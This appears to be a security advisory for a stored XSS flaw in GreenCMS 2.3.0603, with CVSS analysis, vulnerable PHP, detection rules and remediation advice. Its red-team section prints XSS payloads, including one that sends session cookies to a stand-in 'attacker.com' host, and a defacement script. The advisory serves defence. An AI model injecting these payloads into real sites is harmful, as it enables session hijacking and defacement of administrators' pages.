CVE-2025-14244

Executive Summary

CVE-2025-14244 is a stored Cross-Site Scripting (XSS) vulnerability discovered in GreenCMS version 2.3.0603. The flaw resides in the CustomController.class.php file within the Menu Management Page. An attacker can inject arbitrary JavaScript code via the Link argument, which is then stored and executed when an administrator views the affected menu item. The vulnerability is remotely exploitable with low complexity, but requires user interaction (an admin viewing the malicious link). The product is end-of-life and no longer supported by the maintainer, meaning no official patch will be released. The EPSS score is 0.0%, indicating very low exploitation activity in the wild, but the exploit code has been published, increasing the risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application (GreenCMS) that is no longer maintained. No supply chain implications exist.

CVSS Breakdown & Threat Level

• CVSS Score: 2.4 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to inject the payload.
• User Interaction: Required (UI:R) – An administrator must view the malicious link.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exfiltration directly.
• Integrity Impact: Low (I:L) – The attacker can modify the content displayed to the admin.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Low. The attack requires user interaction and only affects integrity. However, since the product is unsupported, any instance running GreenCMS 2.3.0603 is permanently vulnerable.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the CustomController.class.php file. The Link parameter is used to store a URL for a custom menu item. The application fails to sanitize or escape this input before storing it in the database and later rendering it in the admin panel. An attacker with access to the menu management functionality (typically an authenticated user with menu editing privileges) can inject a payload like:

javascript:alert('XSS')

or

" onmouseover="alert(1)

When an administrator views the menu list, the injected script executes in their browser context. The exploit is trivial to execute and requires no special tools.

Vulnerable vs. Patched Code

Since no patch exists, we compare the vulnerable code to a hypothetical secure version.

Vulnerable Code (GreenCMS 2.3.0603):

// /Admin/Controller/CustomController.class.php
public function add() {
    $link = $_POST['link'];
    // No sanitization
    $this->model->addMenu($link);
}

Hypothetical Patched Code:

// /Admin/Controller/CustomController.class.php
public function add() {
    $link = $_POST['link'];
    // Sanitize using htmlspecialchars
    $link = htmlspecialchars($link, ENT_QUOTES, 'UTF-8');
    $this->model->addMenu($link);
}

The fix would involve encoding HTML special characters before storage or output. Since the product is unsupported, users must implement this fix manually or migrate away.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to GreenCMS admin panel with menu editing privileges.
• A target GreenCMS 2.3.0603 instance.

Steps:

1. Log in to the admin panel.
2. Navigate to Menu Management.
3. Add a new custom menu item.
4. In the "Link" field, inject a payload:

   "><script>alert('XSS')</script>
   

5. Save the menu item.
6. When an administrator views the menu list, the script executes.

Example Payloads:

• Steal cookies: "><script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
• Defacement: "><script>document.body.innerHTML='Hacked'</script>

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP POST requests to /Admin/Controller/CustomController.class.php containing suspicious link parameters.
• Look for patterns like <script, onerror, onmouseover, or javascript: in the link field.
• Use WAF rules to block common XSS payloads.

Mitigation:

• Since no patch exists, the only reliable mitigation is to decommission or isolate the GreenCMS instance.
• If decommissioning is not possible, implement a reverse proxy with WAF rules to sanitize input.
• Restrict admin panel access to trusted IPs only.

Indicators of Compromise (IOCs)

• File: /Admin/Controller/CustomController.class.php (vulnerable file)
• Network: HTTP POST requests to /Admin/Controller/CustomController.class.php with link parameter containing XSS payloads.
• Logs: Admin access logs showing unusual menu additions with encoded JavaScript.
• Database: Entries in the menu table with link values containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2025_14244_GreenCMS_XSS {
    meta:
        description = "Detects GreenCMS XSS payload in link parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14244"
    strings:
        $payload1 = "<script" nocase
        $payload2 = "onerror=" nocase
        $payload3 = "onmouseover=" nocase
        $payload4 = "javascript:" nocase
        $payload5 = "onload=" nocase
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: GreenCMS XSS via Link Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts against GreenCMS CustomController
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/Admin/Controller/CustomController.class.php'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onmouseover='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in menu links (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14244 GreenCMS XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/Admin/Controller/CustomController.class.php"; http_uri; content:"link="; http_client_body; pcre:"/(<script|onerror=|onmouseover=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Decommission or isolate any GreenCMS 2.3.0603 instance. The product is end-of-life and unsupported.
2. Short-Term Workaround: If decommissioning is not possible, implement a web application firewall (WAF) with rules to block XSS payloads in the link parameter.
3. Long-Term Solution: Migrate to a supported CMS platform.
4. User Training: Educate administrators to avoid clicking on suspicious menu links.
5. Monitoring: Enable detailed logging for admin panel actions and review logs for anomalies.

Valters IT
Securing Digital Frontiers